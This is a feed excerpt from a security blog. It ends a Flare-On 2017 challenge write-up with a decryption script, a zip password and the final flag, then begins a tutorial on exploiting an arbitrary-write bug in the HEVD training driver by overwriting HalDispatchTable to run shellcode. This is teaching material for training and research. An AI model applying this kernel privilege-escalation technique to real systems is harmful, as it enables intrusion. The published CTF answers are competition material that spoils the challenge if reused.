&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;BLOCK_SIZE &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;32
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span&gt;): &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;struct.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pack&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;lt;I&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,x)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;u32&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span&gt;): &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;struct.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;unpack&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;lt;I&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,x)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;decrypt&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;encrypted&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;passphrase&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;iv&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    aes = AES.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span&gt;(passphrase, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;AES&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MODE_CBC&lt;&#x2F;span&gt;&lt;span&gt;, iv)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;aes.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;decrypt&lt;&#x2F;span&gt;&lt;span&gt;(encrypted)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;__name__ == &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;__main__&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;:
&lt;&#x2F;span&gt;&lt;span&gt;    data = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(sys.argv[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[+] data_size = 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%x&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(data))
&lt;&#x2F;span&gt;&lt;span&gt;    key = base64.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;b64decode&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;tCqlc2+fFiLcuq1ee1eAPOMjxcdijh8z0jrakMA&#x2F;jxg=&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    i = data.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;find&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;cryp&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    i += &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4
&lt;&#x2F;span&gt;&lt;span&gt;    iv = data[i:i+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x10&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[+] iv: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % iv.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;hex&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;))
&lt;&#x2F;span&gt;&lt;span&gt;    i += &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x10
&lt;&#x2F;span&gt;&lt;span&gt;    sha = data[i:i+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x20&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[+] sha: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % sha.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;hex&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;))
&lt;&#x2F;span&gt;&lt;span&gt;    i += &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x20
&lt;&#x2F;span&gt;&lt;span&gt;    enc = data[i:]
&lt;&#x2F;span&gt;&lt;span&gt;    dec = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;decrypt&lt;&#x2F;span&gt;&lt;span&gt;(enc, key, iv)
&lt;&#x2F;span&gt;&lt;span&gt;    sz = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;u32&lt;&#x2F;span&gt;&lt;span&gt;(dec[:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;    filename = dec[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;+sz]
&lt;&#x2F;span&gt;&lt;span&gt;    filesize = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;u32&lt;&#x2F;span&gt;&lt;span&gt;(dec[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;+sz:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;+sz+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[+] filepath &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % filename)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[+] filesize 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%x&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % filesize)
&lt;&#x2F;span&gt;&lt;span&gt;    i = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;+sz+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8
&lt;&#x2F;span&gt;&lt;span&gt;    decrypted_file_content = dec[i:i+filesize]
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[+] len(decrypted) 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;, writing &amp;#39;lab10.zip&amp;#39;...&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(decrypted_file_content))
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;lab10.zip&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;wb&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(decrypted_file_content)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; python uf.py crypfile
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; data_size = 0x89334
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; iv: fec85f816b82806996fc991b5731d2e1
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; sha: 797c33964e0ed15a727d4175c2bff5a637da6587229cce9bd12d6a13cf8596db
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; filepath &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;c:\work\flareon2017\package\lab10.zip&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; filesize 0x892c6
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; len(decrypted) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x892c6,&lt;&#x2F;span&gt;&lt;span&gt; , writing &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;lab10.zip&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;...
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We’ve got the real challenge!
And to conclude, unzip &lt;code&gt;lab10.zip&lt;&#x2F;code&gt; with the password from the screenshot:
&lt;code&gt;infectedinfectedinfectedinfectedinfected919&lt;&#x2F;code&gt;. This will drop a file in
&lt;code&gt;GoChallenge&#x2F;build&#x2F;challenge10&lt;&#x2F;code&gt;, which is a Go challenge in ELF. But when we
execute it, we see a well deserve reward:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;root@kali2:&#x2F;ctf&#x2F;flareon_2017&#x2F;12 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# .&#x2F;GoChallenge&#x2F;build&#x2F;challenge10
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;hello&lt;&#x2F;span&gt;&lt;span&gt; world
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;The&lt;&#x2F;span&gt;&lt;span&gt; answer is: &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;n3v3r_gunna_l3t_you_down_1987_4_ever@flare-on.com&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h1&gt;
&lt;p&gt;Thank you to FireEye for those fun challenges… and congratulations to all the
winners (especially those who managed to finish in under a week, massive
props)!! I hope those writeups don’t make those challenges look trivial, they
weren’t (only ~130 over more
than &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;mikesiko&#x2F;status&#x2F;904388540267610112&quot;&gt;a thousand participants&lt;&#x2F;a&gt;
completed the 12 challenges). IMHO, some challenges (like the end of challenge 4
or 10) involved too much guessing, which can be very (VERY) frustrating.&lt;&#x2F;p&gt;
&lt;p&gt;But all in all, it was a fun experience… And thank you for whomever prepared
challenge 12, it was &lt;strong&gt;huge&lt;&#x2F;strong&gt; in all the possible meanings, and it must
certainly have required a serious patience to build!&lt;&#x2F;p&gt;
&lt;p&gt;And final thanks to &lt;i class=&quot;fa fa-twitter&quot;&gt; alex_k_polyakov&lt;&#x2F;i&gt;,
&lt;i class=&quot;fa fa-twitter&quot;&gt; n4x0r31&lt;&#x2F;i&gt; and &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;aymansagy&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@aymansagy&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
.&lt;&#x2F;p&gt;
&lt;p&gt;See you next year for Flare-On 5!&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Arbitrary Write primitive in Windows kernel (HEVD)</title>
        <published>2017-08-31T00:00:00+00:00</published>
        <updated>2017-08-31T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2017-08-31-arbitrary-write-primitive-in-windows-kernel-hevd/"/>
        <id>https://blahcat.github.io/2017-08-31-arbitrary-write-primitive-in-windows-kernel-hevd/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2017-08-31-arbitrary-write-primitive-in-windows-kernel-hevd/">&lt;p&gt;Back again to modern Windows kernel exploitation!&lt;&#x2F;p&gt;
&lt;p&gt;After understanding &lt;a href=&quot;&#x2F;posts&#x2F;2017&#x2F;08&#x2F;14&#x2F;a-primer-to-windows-x64-shellcoding&quot;&gt;how to build shellcodes for Windows 64-bit&lt;&#x2F;a&gt; and applying this knowledge on &lt;a href=&quot;&#x2F;posts&#x2F;2017&#x2F;08&#x2F;18&#x2F;first-exploit-in-windows-kernel-hevd&quot;&gt;a trivial kernel stack overflow vulnerability&lt;&#x2F;a&gt; we
are ready to start moving towards more real-life types of vulnerabilities, such
as Type Confusion or Kernel Pool exploit, but for now we’ll cover the case of
&lt;em&gt;Arbitrary Write&lt;&#x2F;em&gt;  (aka &lt;em&gt;Write-What-Where&lt;&#x2F;em&gt;) vulnerabilities.&lt;&#x2F;p&gt;
&lt;p&gt;We’ll use the same configuration than the one used before (target is up-to-date
Windows 8.1 x64 VM with HEVD v.1.20 driver installed). For more info about the
setup, refer to the first post of this Windows Kernel exploitation series.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;recon&quot;&gt;Recon&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;ida-to-the-rescue&quot;&gt;IDA to the rescue&lt;&#x2F;h2&gt;
&lt;p&gt;After not that much effort in IDA by tracing down the IOCTL dispatching function
callgraph, we spot the function &lt;code&gt;TriggerArbitraryOverwrite()&lt;&#x2F;code&gt; which can be
reached via a IOCTL with a code of 0x22200B. The vulnerability is easy to spot:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;hevd-www-ida-vuln-spotting.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;hevd-www-ida-vuln-spotting.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;After checking the address we passed and printing some kernel debug messages,
the function copies the value dereferenced from &lt;code&gt;rbx&lt;&#x2F;code&gt; (which is the function
parameter which we control) into the 32-bit register &lt;code&gt;r11d&lt;&#x2F;code&gt;. This value is then
written at the address pointed by &lt;code&gt;rdi&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Or better summarized in assembly - &lt;code&gt;rcx&lt;&#x2F;code&gt; holds the function first argument
(see [&lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-08-31-arbitrary-write-primitive-in-windows-kernel-hevd&#x2F;#related-links&quot;&gt;2&lt;&#x2F;a&gt;] for a good reminder about calling conventions):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0000000000015B89 mov     r12, rcx
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;0000000000015B95 call    cs:__imp_ProbeForRead
&lt;&#x2F;span&gt;&lt;span&gt;0000000000015B9B mov     rbx, [r12]
&lt;&#x2F;span&gt;&lt;span&gt;0000000000015B9F mov     rdi, [r12+8]
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;0000000000015BEC mov     r11d, [rbx]
&lt;&#x2F;span&gt;&lt;span&gt;0000000000015BEF mov     [rdi], r11d
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So as we can observe at 0x15BEF, we do have an  arbitrary write, but a partial one as we only
can write one DWORD at a time. No big deal, since we fully control the
destination location, we can write a QWORD by simply performing 2 writes at &lt;code&gt;ADDR_DEST&lt;&#x2F;code&gt; then
&lt;code&gt;ADDR_DEST+4&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This is pretty much it for the vulnerability: classic case of an &lt;strong&gt;Arbitrary
Write&lt;&#x2F;strong&gt; (aka &lt;strong&gt;Write-What-Where&lt;&#x2F;strong&gt;). Although we are in kernel-land, we’ll see that the
exploitation approach stays the same as when such situation occurs in user-land.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;write-what&quot;&gt;Write what ?&lt;&#x2F;h2&gt;
&lt;p&gt;So what can we do with an Arbitrary Write?&lt;&#x2F;p&gt;
&lt;p&gt;Well, just like in usermode, one of the most common approach is to transform
this situation into a code execution, which can be done by overwriting a
writable location in the kernel, which we’ll then force a call to.
By overwriting a function pointer with the location of our
shellcode placed in userland, and then triggering this call from userland would
be enough to reach our goal (and of course, assuming SMEP is off).&lt;&#x2F;p&gt;
&lt;p&gt;But in kernel-land, this is not the only approach. Another one would be to
overwrite the current process’ token by overwriting directly the
&lt;code&gt;_SEP_TOKEN_PRIVILEGES&lt;&#x2F;code&gt; and for example, provide it with the &lt;code&gt;SeDebugPrivilege&lt;&#x2F;code&gt; allowing it
to perform any further privileged operation on the system (naturally it is
assumed here that we know the current process structure’s address - through an
infoleak or else). Back in 2012, &lt;i class=&quot;fa fa-twitter&quot;&gt;&lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;cesarcer&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@cesarcer&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
&lt;&#x2F;i&gt;  covered this very situation in his Black Hat
presentation &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20160909195733&#x2F;https:&#x2F;&#x2F;media.blackhat.com&#x2F;bh-us-12&#x2F;Briefings&#x2F;Cerrudo&#x2F;BH_US_12_Cerrudo_Windows_Kernel_WP.pdf&quot;&gt;Easy Local Windows Kernel Exploitation&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Although this second way would allow to work around SMEP, for the sake of
this post we’ll go with the first approach as it is the most commonly used.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;write-where&quot;&gt;Write where ?&lt;&#x2F;h2&gt;
&lt;p&gt;The kernel has plenty of function pointer arrays that we could
use for our purpose. One of the first we could think of would be the system calls table. The
&lt;em&gt;System Service Descriptor Table&lt;&#x2F;em&gt; (SSDT) is usually known for being hooked, as
this table contains the service tables in use when processing system calls. In
KD, we can reach it at with the following symbol: &lt;code&gt;nt!KeServiceDescriptorTable&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; dps nt!KeServiceDescriptorTable
&lt;&#x2F;span&gt;&lt;span&gt;fffff802`f8b57a80  fffff802`f895ad00 nt!KiServiceTable
&lt;&#x2F;span&gt;&lt;span&gt;fffff802`f8b57a88  00000000`00000000
&lt;&#x2F;span&gt;&lt;span&gt;fffff802`f8b57a90  00000000`000001b1
&lt;&#x2F;span&gt;&lt;span&gt;fffff802`f8b57a98  fffff802`f895ba8c nt!KiArgumentTable
&lt;&#x2F;span&gt;&lt;span&gt;fffff802`f8b57aa0  00000000`00000000
&lt;&#x2F;span&gt;&lt;span&gt;fffff802`f8b57aa8  00000000`00000000
&lt;&#x2F;span&gt;&lt;span&gt;fffff802`f8b57ab0  00000000`00000000
&lt;&#x2F;span&gt;&lt;span&gt;fffff802`f8b57ab8  00000000`00000000
&lt;&#x2F;span&gt;&lt;span&gt;fffff802`f8b57ac0  fffff802`f895ad00 nt!KiServiceTable
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;I’ve actually decided to use another way described very well on &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;poppopret.blogspot.ca&#x2F;2011&#x2F;07&#x2F;windows-kernel-exploitation-basics-part.html&quot;&gt;Xst3nZ&lt;&#x2F;a&gt;’s blog, by overwriting the &lt;code&gt;HalDispatchTable&lt;&#x2F;code&gt;. The reason this table is particularly interesting, is that it can be fetched from userland by mapping &lt;code&gt;ntoskrnl.exe&lt;&#x2F;code&gt; and using &lt;code&gt;GetProcAddr(&quot;HalDispatch&quot;)&lt;&#x2F;code&gt; to know its offset. As a result, we’ll have a much more portable exploit code (rather than hardcoding the offset by hand).&lt;&#x2F;p&gt;
&lt;p&gt;But why &lt;code&gt;HalDispatchTable&lt;&#x2F;code&gt; in particular? Because we can call from userland the undocumented
function &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.geoffchappell.com&#x2F;studies&#x2F;windows&#x2F;km&#x2F;ntoskrnl&#x2F;api&#x2F;ex&#x2F;profile&#x2F;queryinterval.htm&quot;&gt;&lt;code&gt;NtQueryIntervalProfile&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;, that will in turn invoke &lt;code&gt;nt!KeQueryIntervalProfile&lt;&#x2F;code&gt; in the kernel, which to
finally perform a &lt;code&gt;call&lt;&#x2F;code&gt; instruction to the address in &lt;code&gt;nt!HalDispatchTable[1]&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt;  u nt!KeQueryIntervalProfile+0x9 l7
&lt;&#x2F;span&gt;&lt;span&gt;nt!KeQueryIntervalProfile+0x9:
&lt;&#x2F;span&gt;&lt;span&gt;fffff802`f8cbc23d ba18000000      mov     edx,18h
&lt;&#x2F;span&gt;&lt;span&gt;fffff802`f8cbc242 894c2420        mov     dword ptr [rsp+20h],ecx
&lt;&#x2F;span&gt;&lt;span&gt;fffff802`f8cbc246 4c8d4c2450      lea     r9,[rsp+50h]
&lt;&#x2F;span&gt;&lt;span&gt;fffff802`f8cbc24b 8d4ae9          lea     ecx,[rdx-17h]
&lt;&#x2F;span&gt;&lt;span&gt;fffff802`f8cbc24e 4c8d442420      lea     r8,[rsp+20h]
&lt;&#x2F;span&gt;&lt;span&gt;fffff802`f8cbc253 ff15af83deff    call    qword ptr [nt!HalDispatchTable+0x8 (fffff802`f8aa4608)]  &amp;lt;-- this is interesting!
&lt;&#x2F;span&gt;&lt;span&gt;fffff802`f8cbc259 85c0            test    eax,eax
&lt;&#x2F;span&gt;&lt;span&gt;fffff802`f8cbc25b 7818            js      nt!KeQueryIntervalProfile+0x41 (fffff802`f8cbc275)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So if we use the WWW vulnerability to overwrite &lt;code&gt;nt!HalDispatchTable[1]&lt;&#x2F;code&gt; with
the address of our shellcode mapped in a RWX location in userland, then
use the undocumented &lt;code&gt;NtQueryIntervalProfile&lt;&#x2F;code&gt; to trigger it, we will make the
kernel execute our shellcode! And game over 😀&lt;&#x2F;p&gt;
